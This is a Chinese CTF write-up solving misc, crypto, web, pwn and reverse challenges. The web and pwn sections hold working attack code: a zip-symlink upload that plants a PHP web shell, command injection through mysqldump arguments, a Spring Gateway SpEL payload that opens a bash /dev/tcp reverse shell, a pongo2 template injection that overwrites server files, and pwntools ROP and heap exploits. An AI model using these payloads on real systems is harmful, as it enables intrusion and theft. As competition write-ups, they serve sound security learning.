misc 签到卡 print(open('/flag').read())
被加密的生产流量 追踪tcp流,数据提取出来base32
国粹 先分割题目.png中的小麻将到output
1 2 3 4 5 6 7 8 9 10 11 12 13 import os w=0 h=0 from PIL import Image a=Image.open ('题目.png' ) w1,h1=a.sizewhile w<w1: im=a.crop((w,h,w+53 ,h+73 )) im.save(os.path.join('output' ,str (w))+'.png' ) w+=53
再将a.png和k.png中的小麻将去output找对应的索引值,分别作为纵坐标和横坐标画图得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import cv2import numpy as np a=cv2.imread("a.png" ) k=cv2.imread("k.png" ) w=len (a[0 ]) i=0 import os path='output/' d=os.listdir(path) d.remove("0.png" ) data=[[],[]] Status=[False ,False ]def check (im1,im2,sind ): A=cv2.absdiff(im1,im2) if np.count_nonzero(A) ==0 : Status[sind]=True ind=int (j.split('.' )[0 ]) if ind!=0 : data[sind].append(ind//53 ) pass while i<w: ima=a[0 :73 ,i:i+53 ] imk=k[0 :73 ,i:i+53 ] Status=[False ,False ] for j in d: im2=cv2.imread(os.path.join(path,j)) check(ima,im2,0 ) check(imk,im2,1 ) if Status==[True ,True ]: break i+=53 from PIL import Image a=Image.new("1" ,(42 ,42 ))for i in range (w//53 ): a.putpixel((data[1 ][i],data[0 ][i]),255 ) a.save('123.png' ) a.show()
pyshell python 沙盒
利用_拼接字符串后eval执行,同时限制了7位字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Welcome to this python shell,try to find the flag! >>'open' 'open' >>_+'("/' 'open("/' >>_+'fl' 'open("/fl' >>_+'ag' 'open("/flag' >>_+'")' 'open("/flag")' >>_+'.' 'open("/flag").' >>_+'rea' 'open("/flag").rea' >>_+'d()' 'open("/flag").read()' >>eval (_)'flag{b8c3ead1-cdad-4ddb-bb81-9486888d426a}\n'
puzzle 打开后有很多宽度不一样的小bmp文件,放进010里分析发现在冗余位多了一些数据
以bfReserved1表示图片左上角x坐标,bfReserved2表示图片左上角y坐标,biXPelsPerMeter表示图片右下角x坐标,biYPelsPerMeter表示图片右下角y坐标画图
画的时候注意biHeight,在bmp中该值是正数说明图像是倒向的即图像存储是由下到上;该值是负数说明图像是倒向的即图像存储是由上到下,所以遇到负数的图片需要反转一下在拼图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import osfrom PIL import Image file_list = os.listdir('tmp4' ) img = Image.new('RGB' ,(7200 ,4000 ))for i in range (len (file_list)): f = open (f'./tmp4/{file_list[i]} ' ,'rb' ).read() pic = Image.open (f'./tmp4/{file_list[i]} ' ) Res1 = int .from_bytes(f[6 :8 ],'little' ) Res2 = int .from_bytes(f[8 :10 ],'little' ) Xpel = int .from_bytes(f[38 :42 ],'little' ) Ypel = int .from_bytes(f[42 :46 ],'little' ) If_rev = int .from_bytes(f[22 :26 ],'little' ) if (If_rev != 100 ): pic = pic.transpose(Image.FLIP_TOP_BOTTOM) img.paste(pic,(Res1,Res2,Xpel,Ypel)) img.save('flag.png' )
拼完后的图跑zsteg,得到第一部分的flag:flag{f1R5T_part_1s_LSB_sTeG0_
然后还是biHeight,高度-100的做0,100的做1,binary之后得到第二部分flag:2nd_paRT_15_reVeRSe_bMp_
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import osfrom PIL import Image file_list = os.listdir('tmp4' ) Res1_L,Res2_L,Ypel_L,XY_L = [],[],[],[]for i in range (len (file_list)): f = open (f'./tmp4/{file_list[i]} ' ,'rb' ).read() Res1 = int .from_bytes(f[6 :8 ],'little' ) Res2 = int .from_bytes(f[8 :10 ],'little' ) Ypel = int .from_bytes(f[22 :26 ],'little' ) Res1_L.append(Res1) Res2_L.append(Res2) Ypel_L.append(Ypel) XY_L.append((Res2,Res1)) a = sorted (Res1_L) b = sorted (Res2_L) c = sorted (XY_L)for i in range (len (c)): ind = XY_L.index(c[i]) if (Ypel_L[ind] == 4294967196 ): print ('0' ,end='' ) else : print ('1' ,end='' )
第三部分在补齐字节的数据中 找到第一张图片17447199634.bmp,查看补齐字节的数据
发现依次是FF D8,FF E1等
所以可以以padding数据按照左上到右下的顺序拼接得到jpg图片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import osfrom PIL import Image file_list = os.listdir('tmp4' ) Xpel_L,XY_L,Leng_L,Ypel_L,f_list = [],[],[],[],[]for i in range (len (file_list)): f = open (f'./tmp4/{file_list[i]} ' ,'rb' ).read() Res1 = int .from_bytes(f[6 :8 ],'little' ) Res2 = int .from_bytes(f[8 :10 ],'little' ) Xpel = int .from_bytes(f[18 :22 ],'little' ) Ypel = int .from_bytes(f[22 :26 ], 'little' ) Xpel_L.append(Xpel) XY_L.append((Res2,Res1)) Leng_L.append((len (f)-54 )) Ypel_L.append(Ypel) c = sorted (XY_L) Padding_file = []for i in range (len (c)): ind = XY_L.index(c[i]) if (Leng_L[ind] != Xpel_L[ind]*300 ): Padding_file.append(ind) data = b'' for i in range (len (Padding_file)): f = open (f'./tmp4/{file_list[Padding_file[i]]} ' ,'rb' ).read() w = int .from_bytes(f[18 :22 ], 'little' ) f = f[54 :] if (len (f)-w*100 *3 == 100 ): pad = 1 elif (len (f)-w*100 *3 == 200 ): pad = 2 else : pad = 3 for j in range (100 ): d = f[j*(w*3 +pad):j*(w*3 +pad)+w*3 +pad] data += d[-pad:] fw = open ('flag.jpg' ,'wb' ).write(data)
得到第三部分的flag:3rd_parT_1s_paddINGINGING
crypto 基于国密SM2算法的密钥密文分发 根据文档一步一步来即可,虽然有点没看懂
先找个网址生成一组公钥和密钥 https://www.lzltool.com/SM2
登录拿id
上传公钥
访问/api/quantum获取密钥密文
访问/api/check发送quantumString的值
使quantumStringUser的值等于quantumStringServer的值即可通过验证
访问/api/search得到flag
可信度量 非预期
/proc/22/task/22/environ可以直接看到flag
Sign_in_passwd base64换表
web unzip 上传后返回源码
只能上传zip文件,上传后在tmp目录使用unzip -o解压
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );highlight_file (__FILE__ );$finfo = finfo_open (FILEINFO_MIME_TYPE);if (finfo_file ($finfo , $_FILES ["file" ]["tmp_name" ]) === 'application/zip' ){ exec ('cd /tmp && unzip -o ' . $_FILES ["file" ]["tmp_name" ]); };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 //构造一个指向/var/www/html的软连接ln -s /var/www/html poc //保留软连接压缩 zip --symlinks test.zip poc //创建跟第一个压缩包中目录同名的目录mkdir poc //接着向目录中写一个shellecho "<?php eval(\$_POST['a']);?>" > ./poc/shell.php //压缩这个目录 zip -r test1.zip poc
上传第一个压缩包后会在tmp目录下生成一个软连接到/var/www/html,当我们上传第二个压缩包时,因为poc目录已经软连接到/var/www/html了,所以解压的时候会把shell.php放在/var/www/html
dumpit 根据题目描述可知分别有查询和导出的功能点
根据执行命令后的返回值推测执行的命令如下
传入?db=a&table_2_query=b时会执行select * from a.b 传入?db=a&table_2_dump=b时会执行mysqldump -u root a b > log/xxx.log
这里因为a和b的值可控,所以相当于我们可以执行命令了
方法1: 直接传?db=ctf&table_2_dump=%0a+id+>+log/1+%0,然后访问log/1
方法2: 因为mysqldump在找不到我们给出的表的情况下会抛出错误信息mysqldump: Couldn't find table: "表名"
在linux中可以利用2>将命令执行的结果输出到文件中
传/?db=ctf&table_2_dump=\<\?\=phpinfo\(\)?\>+2>+log/1.php,然后访问1.php
index.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php $servername = "127.0.0.1" ;$username = "www-data" ;$password = "" ;function is_valid ($str ) { $black = ';`*#^$&|' ; for ($i =0 ;$i <strlen ($black );$i ++){ if (!(stristr ($str ,$black [$i ])===FALSE )){ return FALSE ; } } if (!(stristr ($str ,'host' )===FALSE )){ return FALSE ; } if (!(stristr ($str ,'-h' )===FALSE )){ return FALSE ; } return TRUE ; }try { $conn = new PDO ("mysql:host=$servername ;dbname=ctf" , $username , $password ); }catch (PDOException $e ) { die ($e ->getMessage ()); }if (!isset ($_GET ['table_2_query' ]) && !isset ($_GET ['table_2_dump' ])){ echo 'use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1' ; die (); }if (isset ($_GET ['db' ])){ $db =$_GET ['db' ]; }else { die ('no db!' ); }if (isset ($_GET ['table_2_query' ])){ $t2q = $_GET ['table_2_query' ]; $sql = "select * from $db .$t2q " ; if (!(is_valid ($t2q ))){ die ('nop' ); } if (!(is_valid ($db ))){ die ('nop' ); } echo $sql ; echo '</br>' ; try { $stm = $conn ->query ($sql ); $res = $stm ->fetch (); var_dump ($res ); } catch (PDOException $e ){ die ('error' ); } die (); }if (isset ($_GET ['table_2_dump' ])){ $t2d =$_GET ['table_2_dump' ]; if (!(is_valid ($t2d ))){ die ('nop' ); } if (!(is_valid ($db ))){ die ('nop' ); } $randstr = md5 (time ()); $dump ='mariadb-dump ' .$db .' ' .$t2d .' >./log/' .$randstr .'.log' ; system ($dump ); echo 'dump log here: <a href=\'' .'./log/' .$randstr .'.log' .'\'>here</a>' ; }?>
BackendService nacos服务,CVE-2021-29441添加任意用户进后台
分析backend-1.0-SNAPSHOT.jar
发现内部配置服务有个8888的gateway服务,id为backcfg
1 2 3 4 5 6 7 8 9 10 spring: cloud: nacos: discovery: server-addr: 127.0 .0 .1 :8888 config: name: backcfg file-extension: json group: DEFAULT_GROUP server-addr: 127.0 .0 .1 :8888
可以通过修改Gateway配置文件反代backendservice服务实现rce
参考文章:https://xz.aliyun.com/t/11493#toc
反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "spring" : { "cloud" : { "gateway" : { "routes" : [ { "id" : "exam" , "order" : 0 , "uri" : "lb://backendservice" , "predicates:" : [ "Path=/evil/**" ] , "filters" : [ { "name" : "RewritePath" , "args" : { "replacement" : "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/xxxx/xxxx 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}" } } ] } ] } } } }
go_session 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package routeimport ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" )var store = sessions.NewCookieStore([]byte (os.Getenv("SESSION_KEY" )))func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { session.Values["name" ] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200 , "Hello, guest" ) }func Admin (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] != "admin" { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } name := c.DefaultQuery("name" , "ssti" ) xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!" ) if err != nil { panic (err) } out, err := tpl.Execute(pongo2.Context{"c" : c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200 , out) }func Flask (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { if err != nil { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name" , "guest" )) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) c.String(200 , string (body)) }
有三个路由
1 2 3 r.GET("/" , route.Index) r.GET("/admin" , route.Admin) r.GET("/flask" , route.Flask)
Index路由提供了一个默认的session,name赋值为guestAdmin路由判断session,需要name值为admin,并使用EscapeString转义name,而且还使用了pongo2渲染,存在ssti漏洞Flask路由访问内部5000端口的flask服务并回显页面
因为SESSION_KEY是从环境变量获取的,猜测为空,进行session伪造 本地修改session.Values["name"] = "admin",运行拿到伪造的session
访问/flask?name=/通过报错拿到flask源码
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flask,request app = Flask(__name__)@app.route('/' ) def index (): name = request.args['name' ] return name + 'no ssti' if __name__== "__main__" : app.run(host="127.0.0.1" ,port=5000 ,debug=True )
可以看到flask开启了debug模式,debug攻击点一般在算pin或debug热加载 但是访问/console实现rce需要携带cookie验证,因为我们无法传递cookie,所以利用ssti读文件算pin后rce这条路走不通
如图,当flask文件的内容被更改后,flask会自动更新,也就是热加载
所以我们可以利用ssti实现任意文件读写,然后覆盖server.py,实现自己的恶意内容
查阅官方手册 可知pongo2与Django 1.7有兼容的语法和功能集
Django中的include语法在pongo2中也能使用,所以可以用include实现任意文件读取
写文件可以⽤Gin Context里的FormFile来读取表单⽂件,用SaveUploadFile上传,注意需要用GET传参
1 2 3 4 5 6 7 8 9 {%include c.Request.Referer()%} {%include c.Request.Host()%} {{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}} {%set form=c.Query(c.HandlerName|first)%}{{c.SaveUploadedFile(c.FormFile(form),c.Request.Referer())}}&m=file {%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
覆盖后就可以执行我们自定义的内容了
pwn 烧烤摊儿 修改名称存在栈溢出,程序不存在system函数,使用orw获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * p=remote("123.56.251.120" ,"12585" ) e=ELF("./shaokao" ) fopen=e.sym['open64' ] read=e.sym['read' ] write=e.sym['write' ] rdi=0x000000000040264f rsi=0x000000000040a67e rdx=0x00000000004a404b p.sendlineafter('> ' ,'1' ) p.sendline("3" ) p.sendline('-100000' ) p.sendlineafter('> ' ,'4' ) p.sendlineafter('> ' ,'5' ) payload=b'flag' .ljust(0x28 ,b'\x00' ) payload+=p64(rdi)+p64(0x4e60f0 )+p64(rsi)+p64(0 )+p64(fopen) payload+=p64(rdi)+p64(3 )+p64(rsi)+p64(0x4e60f0 )+p64(rdx)+p64(0x40 )+b'a' *8 +p64(read) payload+=p64(rdi)+p64(1 )+p64(write) p.sendline(payload)
StrangeTalkBot 程序使用了protobuf协议解析输入数据,构造protobuf数据,传入即可 程序中存在uaf漏洞与数组越界漏洞,利用gadget构造栈迁移,实现orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *import varintimport sysdef Mode (m ): return b'\x08' +varint.encode(m<<1 )def Ind (i ): return b'\x10' +varint.encode(i<<1 )def Size (s ): return b'\x18' +varint.encode(s<<1 )def Data (d ): return b'\x22' +varint.encode(len (d))+ddef add (ind,size,data=b' ' ): payload=Mode(1 )+Ind(ind)+Size(size)+Data(data) p.sendafter("now: \n" ,payload)def edit (ind,data ): payload=Mode(2 )+Ind(ind)+Size(0 )+Data(data) p.sendafter("now: \n" ,payload)def show (ind ): payload=Mode(3 )+Ind(ind)+Size(0 )+Data(b'' ) p.sendafter("now: \n" ,payload)def free (ind ): payload=Mode(4 )+Ind(ind)+Size(0 )+Data(b'' ) p.sendafter("now: \n" ,payload) e=ELF("./pwn" ) context.binary=e libc=ELF("./libc-2.31.so" )if len (sys.argv)==1 : p=process("./pwn" ) gdb.attach(p)else : p=remote("123.56.244.196" ,"35492" )for i in range (10 ): add(i,0xe8 )for i in range (7 ): free(i) show(1 ) heap=u64(p.read(8 ))print (hex (heap)) show(2 ) heap1=u64(p.read(8 ))print (hex (heap1)) free(7 ) free(8 ) show(8 ) d=u64(p.read(8 ))print (hex (d)) libc.address=d-0x1eccc0 free_hook=libc.sym['__free_hook' ] gadget=libc.address+0x154dea mprotect=libc.sym['mprotect' ] rdi=0x0000000000023b6a +libc.address rsi=0x000000000002601f +libc.address rdx=0x0000000000142c92 +libc.address leave=libc.address+0x00000000000578c8 edit(6 ,p64(free_hook)) add(0x20 ,0xe8 ) payload=b'a' edit(0 ,flat([heap+0x48 ,leave, heap1&0xfffffffffffff000 , heap,0 , leave,0 ,0 ,0 , heap, rdi,heap1&0xfffffffffffff000 , rsi,0x1000 , rdx,7 , mprotect, heap1])) shellcode=shellcraft.open ('flag' )+shellcraft.read(3 ,heap-0x50 ,0x50 )+shellcraft.write(1 ,heap-0x50 ,0x50 ) edit(1 ,asm(shellcode)) add(0x11 ,0xe8 ) add(0x12 ,0xe8 ,p64(gadget))print (hex (free_hook))print (hex (gadget)) free(0 ) p.interactive()
funcanary 程序使用了fork,所以在子进程中报错,不会使程序中断,所以爆破canary,然后跳转到后门位置就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * backdoor=0x1229 p=remote("123.56.135.185" ,"32640" ) canary=b'\x00' for i in range (7 ): for j in range (0x100 ): p.sendafter(b'welcome\n' ,b'a' *0x68 +canary+p8(j)) data=p.readline() if b'stack' not in data: print (j) canary+=p8(j) break i=0 context.log_level='debug' f=open ('data' ,'wb' )while i<0x10 : for j in range (0x30 ): data=p.readuntil('welcome\n' ) f.write(data) p.send(b'a' *0x68 +canary+b'b' *8 +p16(0xffff &(0x1200 +j+i*0x1000 ))) pause() i+=1 p.interactive()
Shell We Go 当认证结束之后,执行echo指令,存在栈溢出,使用+可以跳过栈空间,直接覆盖返回值 构造rop,执行orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * p=remote("47.93.187.243" ,"38686" ) p.sendline(b"cert nAcDsMicN S33UAga1n@#!" ) context.log_level='debug' cmd=""" bp 0x4c181a bp 0x4c18a0 """ def makepayload (data ): e=b'' i=0 step=0x20 while i<len (data): e+=data[i:i+step]+b' ' i+=step pass return b'echo ' +e rdi=0x0000000000444fec system=0x43e7e6 rsi=0x000000000041e818 rdx=0x000000000049e11d sh=0x4c38e7 rax=0x000000000040d9e6 flag=0x4c34c8 syscall=0x000000000040328c e=ELF("./pwn" ) bss=e.bss() payload=b'+' *(0x298 -0x78 )+b'\x00' *3 +p64(rdi)+p64(flag)+p64(rsi)+p64(0 )+p64(rdx)+p64(0 )+p64(rax)+p64(2 )+p64(syscall) payload+=p64(rdi)+p64(3 )+p64(rsi)+p64(bss+0x200 )+p64(rdx)+p64(0x40 )+p64(rax)+p64(0 )+p64(syscall) payload+=p64(rdi)+p64(1 )+p64(rsi)+p64(bss+0x200 )+p64(rdx)+p64(0x40 )+p64(rax)+p64(1 )+p64(syscall) p.sendline(makepayload(payload)) p.interactive()
reverse babyRE https://snap.berkeley.edu/ 导入xml
导出密文后异或得到flag
1 2 3 4 5 6 a=[102 ,10 ,13 ,6 ,28 ,74 ,3 ,1 ,3 ,7 ,85 ,0 ,4 ,75 ,20 ,92 ,92 ,8 ,28 ,25 ,81 ,83 ,7 ,28 ,76 ,88 ,9 ,0 ,29 ,73 ,0 ,86 ,4 ,87 ,87 ,82 ,84 ,85 ,4 ,85 ,87 ,30 ]for i in range (1 ,len (a)): a[i]=a[i]^a[i-1 ]print (bytes (a))